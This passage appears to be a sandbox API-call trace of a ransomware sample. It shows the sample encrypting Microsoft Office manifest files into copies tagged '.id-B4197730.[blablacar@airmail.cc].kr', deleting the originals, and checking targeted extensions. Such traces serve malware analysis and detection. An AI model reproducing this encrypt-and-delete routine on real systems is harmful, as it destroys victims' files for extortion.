Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0096.792] GetLastError () returned 0x0 [0096.792] ReadFile (in: hFile=0x37c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x5e91c, lpOverlapped=0x0) returned 1 [0096.804] WriteFile (in: hFile=0x380, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x5e920, lpOverlapped=0x0) returned 1 [0096.813] ReadFile (in: hFile=0x37c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0096.814] WriteFile (in: hFile=0x380, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x13e, lpOverlapped=0x0) returned 1 [0096.814] SetEndOfFile (hFile=0x380) returned 1 [0096.814] CloseHandle (hObject=0x380) returned 1 [0097.488] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0097.488] SetEndOfFile (hFile=0x37c) returned 1 [0097.492] CloseHandle (hObject=0x37c) returned 1 [0097.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0097.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0097.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.493] lstrlenW (lpString=".doc") returned 4 [0097.493] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.493] lstrlenW (lpString=".docx") returned 5 [0097.493] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0097.493] lstrlenW (lpString=".pdf") returned 4 [0097.493] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.493] lstrlenW (lpString=".xls") returned 4 [0097.493] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.493] lstrlenW (lpString=".xlsx") returned 5 [0097.494] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0097.494] lstrlenW (lpString=".ppt") returned 4 [0097.494] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.494] lstrlenW (lpString=".zip") returned 4 [0097.494] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.494] lstrlenW (lpString=".rar") returned 4 [0097.494] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.494] lstrlenW (lpString=".bz2") returned 4 [0097.494] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.494] lstrlenW (lpString=".7z") returned 3 [0097.494] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.494] lstrlenW (lpString=".dbf") returned 4 [0097.494] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.494] lstrlenW (lpString=".1cd") returned 4 [0097.494] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.494] lstrlenW (lpString=".jpg") returned 4 [0097.494] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.494] lstrlenW (lpString=".doc") returned 4 [0097.495] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.495] lstrlenW (lpString=".docx") returned 5 [0097.495] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0097.495] lstrlenW (lpString=".pdf") returned 4 [0097.495] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.495] lstrlenW (lpString=".xls") returned 4 [0097.495] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.495] lstrlenW (lpString=".xlsx") returned 5 [0097.495] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0097.495] lstrlenW (lpString=".ppt") returned 4 [0097.495] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.495] lstrlenW (lpString=".zip") returned 4 [0097.495] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.495] lstrlenW (lpString=".rar") returned 4 [0097.495] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.495] lstrlenW (lpString=".bz2") returned 4 [0097.495] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.495] lstrlenW (lpString=".7z") returned 3 [0097.495] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.495] lstrlenW (lpString=".dbf") returned 4 [0097.495] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.495] lstrlenW (lpString=".1cd") returned 4 [0097.495] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0097.496] lstrlenW (lpString=".jpg") returned 4 [0097.496] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.496] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0097.496] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53 [0097.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0097.497] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=253712) returned 1 [0097.497] CloseHandle (hObject=0x37c) returned 1 [0097.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0097.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0097.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0097.497] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0097.497] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0097.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0097.498] GetLastError () returned 0x0 [0097.498] ReadFile (in: hFile=0x37c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x3df10, lpOverlapped=0x0) returned 1 [0097.504] WriteFile (in: hFile=0x380, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x3df20, lpOverlapped=0x0) returned 1 [0097.509] ReadFile (in: hFile=0x37c, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0097.509] WriteFile (in: hFile=0x380, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x13e, lpOverlapped=0x0) returned 1 [0097.510] SetEndOfFile (hFile=0x380) returned 1 [0097.510] CloseHandle (hObject=0x380) returned 1 [0097.517] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0097.517] SetEndOfFile (hFile=0x37c) returned 1 [0097.520] CloseHandle (hObject=0x37c) returned 1 [0097.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0097.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0097.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.521] lstrlenW (lpString=".doc") returned 4 [0097.521] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.521] lstrlenW (lpString=".docx") returned 5 [0097.521] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0097.521] lstrlenW (lpString=".pdf") returned 4 [0097.521] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.521] lstrlenW (lpString=".xls") returned 4 [0097.521] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.521] lstrlenW (lpString=".xlsx") returned 5 [0097.521] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0097.521] lstrlenW (lpString=".ppt") returned 4 [0097.521] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.521] lstrlenW (lpString=".zip") returned 4 [0097.521] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.521] lstrlenW (lpString=".rar") returned 4 [0097.521] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.521] lstrlenW (lpString=".bz2") returned 4 [0097.521] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.521] lstrlenW (lpString=".7z") returned 3 [0097.521] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.521] lstrlenW (lpString=".dbf") returned 4 [0097.522] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.522] lstrlenW (lpString=".1cd") returned 4 [0097.522] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.522] lstrlenW (lpString=".jpg") returned 4 [0097.522] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.522] lstrlenW (lpString=".doc") returned 4 [0097.522] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.522] lstrlenW (lpString=".docx") returned 5 [0097.522] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0097.522] lstrlenW (lpString=".pdf") returned 4 [0097.522] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.522] lstrlenW (lpString=".xls") returned 4 [0097.522] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.522] lstrlenW (lpString=".xlsx") returned 5 [0097.522] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0097.522] lstrlenW (lpString=".ppt") returned 4 [0097.522] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.522] lstrlenW (lpString=".zip") returned 4 [0097.523] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.523] lstrlenW (lpString=".rar") returned 4 [0097.523] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.523] lstrlenW (lpString=".bz2") returned 4 [0097.523] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.523] lstrlenW (lpString=".7z") returned 3 [0097.523] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.523] lstrlenW (lpString=".dbf") returned 4 [0097.523] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.523] lstrlenW (lpString=".1cd") returned 4 [0097.523] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0097.523] lstrlenW (lpString=".jpg") returned 4 [0097.523] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.523] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0097.523] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53 [0097.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0098.459] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=1261) returned 1 [0098.459] CloseHandle (hObject=0x328) returned 1 [0098.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0098.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0098.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0098.459] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0098.459] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0098.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0098.460] GetLastError () returned 0x0 [0098.460] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x4ed, lpOverlapped=0x0) returned 1 [0098.461] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x4f0, lpOverlapped=0x0) returned 1 [0098.462] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0098.462] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x13e, lpOverlapped=0x0) returned 1 [0098.463] SetEndOfFile (hFile=0x368) returned 1 [0098.463] CloseHandle (hObject=0x368) returned 1 [0098.467] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0098.467] SetEndOfFile (hFile=0x328) returned 1 [0098.468] CloseHandle (hObject=0x328) returned 1 [0098.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0098.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0098.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.469] lstrlenW (lpString=".doc") returned 4 [0098.469] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0098.469] lstrlenW (lpString=".docx") returned 5 [0098.469] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0098.469] lstrlenW (lpString=".pdf") returned 4 [0098.469] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0098.469] lstrlenW (lpString=".xls") returned 4 [0098.469] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0098.469] lstrlenW (lpString=".xlsx") returned 5 [0098.469] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0098.469] lstrlenW (lpString=".ppt") returned 4 [0098.469] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0098.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.469] lstrlenW (lpString=".zip") returned 4 [0098.469] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0098.469] lstrlenW (lpString=".rar") returned 4 [0098.469] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0098.469] lstrlenW (lpString=".bz2") returned 4 [0098.469] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0098.470] lstrlenW (lpString=".7z") returned 3 [0098.470] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0098.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.470] lstrlenW (lpString=".dbf") returned 4 [0098.470] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0098.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.470] lstrlenW (lpString=".1cd") returned 4 [0098.470] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0098.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.470] lstrlenW (lpString=".jpg") returned 4 [0098.470] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0098.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.470] lstrlenW (lpString=".doc") returned 4 [0098.470] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0098.470] lstrlenW (lpString=".docx") returned 5 [0098.470] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0098.470] lstrlenW (lpString=".pdf") returned 4 [0098.470] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0098.470] lstrlenW (lpString=".xls") returned 4 [0098.470] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0098.470] lstrlenW (lpString=".xlsx") returned 5 [0098.470] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0098.470] lstrlenW (lpString=".ppt") returned 4 [0098.470] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0098.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.470] lstrlenW (lpString=".zip") returned 4 [0098.471] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0098.471] lstrlenW (lpString=".rar") returned 4 [0098.471] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0098.471] lstrlenW (lpString=".bz2") returned 4 [0098.471] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0098.471] lstrlenW (lpString=".7z") returned 3 [0098.471] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0098.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.471] lstrlenW (lpString=".dbf") returned 4 [0098.471] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0098.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.471] lstrlenW (lpString=".1cd") returned 4 [0098.471] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0098.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0098.471] lstrlenW (lpString=".jpg") returned 4 [0098.471] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0098.471] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0098.471] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53 [0098.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0098.472] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=19451) returned 1 [0098.472] CloseHandle (hObject=0x328) returned 1 [0098.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0098.472] GetFileAttributesW 